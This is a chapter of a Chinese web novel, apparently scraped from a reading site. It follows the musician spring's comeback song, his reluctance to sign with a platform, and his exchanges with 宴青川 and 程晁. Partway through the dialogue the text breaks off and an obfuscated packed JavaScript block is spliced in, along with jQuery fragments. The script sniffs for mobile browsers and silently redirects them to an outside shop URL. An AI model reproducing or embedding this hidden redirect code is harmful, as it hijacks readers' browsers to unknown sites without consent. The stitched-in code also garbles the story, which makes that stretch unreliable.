spring发布的这首新歌的歌名和他微博的文案相同,就叫《好久不见》。
宋杭清点了进去,看着从编曲作词到混音后期上一溜串的spring,他意识到对方是真诈尸了。
spring带着金属底色的漂亮音色,如同红酒倒入酒杯时液体碰撞到杯壁,温和磁性,有厚度的同时又很明亮。
悦耳且抓耳。
曲风大变,多了一些曾经spring没尝试过的电子,但他特色的弦乐依旧没有改变。
这是首流行,宋杭清第一反应,是首好歌。
第二反应,会火。
他第一时间转发,首页一刷新,许多圈内好友,都转发了spring的这条微博。
[卧槽卧槽活久见!]
[啊啊啊啊啊好小子你还知道回来!]
[奶奶,你关注的博主死而复生了!]
[我就知道人只要活着就有奇迹发生这一天。]
[呜呜呜宝宝这八百年你到底去哪儿了?]
spring消失八年后,带着新歌诈尸级别的回归惊动了大半个音乐圈,直接被刷上了热搜。
[这人谁啊?怎么我关注的好几个唱作人都在转发?]
[spring啊!古风圈元老级的大神!]
[啊啊啊啊啊啊啊我的白月光回来了!!]
[呜呜呜听哭了没骗人,spring声音好温柔QAQ]
[好久不见,一直在等你。]
#spring 好久不见#的词条挂在热搜广场上,属于路过的狗都要进去凑凑热闹的程度。
当事人却对此一无所知,圈内因为他的回归而沸腾的时候,郁寻春正在酒吧打碟。
等他下班,私信已经被问爆了。
全都是问他“这几年到底去哪里了”“为什么不回消息”“是不是出了什么事”的关心。
当初只是在特有的小圈子里小有名气的朋友,如今多是坐拥几百万粉丝的知名音乐或者唱作人。
消息刷得最频繁的就是宋杭清,光他一个人的私信就有二十多条,质问郁寻春为什么不回企鹅消息。
郁寻春这才想起那个早被抛之脑后的交友软件。
他登录□□,同样被一众好友消息轰炸。
一直有人在等他。
他给大家道歉,简单解释了一下当时突然失联的原因,并没有说太多,只是说偷玩音乐的事被家里发现。
他当时只是一个高中生,是一众好友里年纪最小的,大家也都知道他家里管得严,这个原因在从郁寻春这里得到确认之前,大家已经猜了个七七八八。
只是惋惜他这么好的天赋白白浪费了这么多年。
但空白多年,郁寻春已经很难和朋友们回到当初那样亲近的时候,大家寒暄了几句,就基本没了话聊。
除了宋杭清,他当初和郁寻春关系最好,收到回复后沉默了很久,直接发了语音过来:“那现在你家里的问题解决了吗?不会又诈尸回归一下就跑吧?”
郁寻春打字:[应该不会。]
宋杭清:“那太好了,我们之前说要合作的事你没忘吧,你说要给我写歌。”
郁寻春愣了愣。
当初确实有这么一个约定,但他没想到宋杭清会一直记得,甚至在完全没有他消息的情况下,也一直在等他。
但以他现在的知名度,根本就不缺写歌的人。
他一时有些犹豫,宋杭清发来一大串的问号:[???别告诉我你不记得了。]
[最近有些忙,]郁寻春说,[不一定有时间。]
宋杭清:[你忙什么呢?]
郁寻春:[打工……]
还有忙着给合作的厂牌赶稿,手里至少有三首歌要写。
宋杭清印象中郁寻春的家庭条件很好,上的是国际私立,学校里还有管弦乐队,他那时候歌里的弦乐都是大手笔的实录。
结果现在忙着打工?
[你不会是和家里闹掰了,才换来的音乐自由吧?]
郁寻春:[。]
[那我找你约歌,我出三倍,你给我加塞!]
郁寻春怎么可能要他的钱,他知道宋杭清是想帮他,还是拒绝了:[再说吧。]
宋杭清:[不是,spring,我发现你现在一点都没以前可爱了!]
-
在《好久不见》在持续拔蚌各大音乐app一周之后,有音乐平台联系郁寻春想要让他独家入驻。
这些年一直有人想买《万籁生山》的版权。
但苦于找不到原创,这首歌一直以盗版的形式在网上流行,甚至在国潮复兴的当下,也未像其他大热古风歌那样,被各种改编搬上更大的舞台。
一首可以被称之为经典的长红歌曲,一个不管是八年前还是八年后创作水平都让人耳目一新的音乐人,是极有投资潜力的。
对方邀请郁寻春成为平台///独家签约的唱作人,开出了非常具有吸引力的条件,这笔钱到手完全够他置办一些专业的创作设备。
但郁寻春没有答应。
因为邀请他入驻的音乐平台,隶属于简司州创办的娱乐公司。
娱乐圈内没有什么秘密,平台之间或许存在竞对关系,在高层之间很多消息都是互通的,郁寻春不管签约任何一家音乐公司,他的消息递到简司州那里也是迟早的事。
他不想去赌这个。
独家入驻虽然不行,但音乐改编的版权却不是不能卖,郁寻春需要钱,没道理放着大火能生钱的歌不用。
只是不能用自己的信息签。
思来想去,唯一能麻烦的人也只有宴青川。
但郁寻春不知道如何开口,在向日葵一样用大眼睛跟着宴青川打转不知道几天之后,原本等着他什么时候忍不住的宴青川忍不住了。
和郁寻春熬,你一熬一个不吱声。
脱下的外套搭在臂弯,宴青川单膝跪在沙发上,看着郁寻春,单手扯着领带:“说吧,眼巴巴看我这么几天,你想说什么?”
郁寻春没忍住:“谁眼巴巴看你了?”
宴青川活学活用:“不说我可走了。”
“等下!”郁寻春两步跟上去,“我想让你帮我个忙。”
宴青川扯下领带,用眼神示意,郁寻春简单说了一下,宴青川看他一眼:“让我帮你代理版权合同,还要往我卡里打钱?寻寻,你就不怕我卷钱跑路?”
“你不会。”
“你怎么知道我不会?”
“你不是那种人。”
“你怎么知道我不是那种人?”</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12914186|136326||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
“……”
郁寻春想竖中指,他就多余问:“算了,我找别人。”
宴青川拽着他手腕:“你要找谁?你先邀请了我怎么还能找别人呢,你这个负心汉!你只能有我一个!”
郁寻春一脸“你在说什么屁话”。
“想哪儿去了,我是说你只能有我一个独家代理人。”
“不用了。”郁寻春拒绝。
郁寻春就像只警备心特别强的流浪猫,在自己身边画了圈,即使朝夕相处,宴青川也从没被允许踏入圈内。
他对宴青川的信任建立在后者对他的多次帮助下,他鼓起勇气向宴青川伸出一只爪子,但只要稍显不对,他就会立刻缩回去。
而宴青川这个人呢,就喜欢看小猫炸毛,再逆毛硬撸。
换句话说,惯常犯贱。
“我不管!”宴青川耍赖,“本阿拉丁神灯,一定要做这个代理人。”
郁寻春欲言又止止言又欲,千言万语汇成一句:“宴青川,你是不是有病?”
宴青川:“还病得不清。”
郁寻春服了。
在病得不轻的宴青川的死缠烂打下,他最终还是成为了郁寻春的代理人。
自从上次不小心接了简司州的电话,他当天就办了个新的手机号,并且注册了新微信。
版权费到手,郁寻春第一件事是还程晁的钱。
为此他不得不登录旧的微信,未读有好几条,分别来自郁池夏等人。
郁池夏是发得最多的,翻来覆去就是问他在哪里。
简司州则说他暂时不会和他分手,让他闹够了就赶紧回去,别让一家人为他操心。
郁寻春觉得他这个“一家人”,应该特指郁池夏。
席余馥嘛,则表示没想到他还是有点以退为进的本事,结合简司州的话,大概是他向席余馥表态了,后者很大概率还解冻了他的卡?
不确定不清楚,郁寻春懒得猜。
无语是他此刻的母语,他人都滚这么远,他们居然还能演这么出戏,实在难评。
他跳过所有消息,给程晁转了一万三,转完就登出。
-
程晁看到郁寻春消息已经是几分钟后。
嘴硬不道歉,但拿还钱破冰给自己找台阶,还真是郁寻春的风格。
目光一转,他看到了郁寻春的头像,那张夕阳下的剪影还是他给拍的。
没错,程晁心想,郁寻春怎么可能和他绝交,他是他在这个世界上唯一的朋友,除了他又有谁会去包容他那糟糕的臭脾气?
他那个对他向来没什么好脸色姓简的男朋友吗?
收回目光,程晁直接点了退回转账,退回后他收起手机,没有给郁寻春发一个字。
他不着急,因为他清楚,急的是郁寻春。
他多一秒都坐不住的。
3、2、1。
叮——
三秒钟,手机消息提醒如期而至。
程晁轻轻一笑,并没有立刻看手机,反而优哉游哉地喝了半杯咖啡,又处理了好几个小时的工作,才终于拿起手机。
解锁,打开微信,未读消息跃入眼帘:[XX新闻:65还上班,你需要注意什么……]
不是郁寻春。
程晁自信笃定的表情一僵。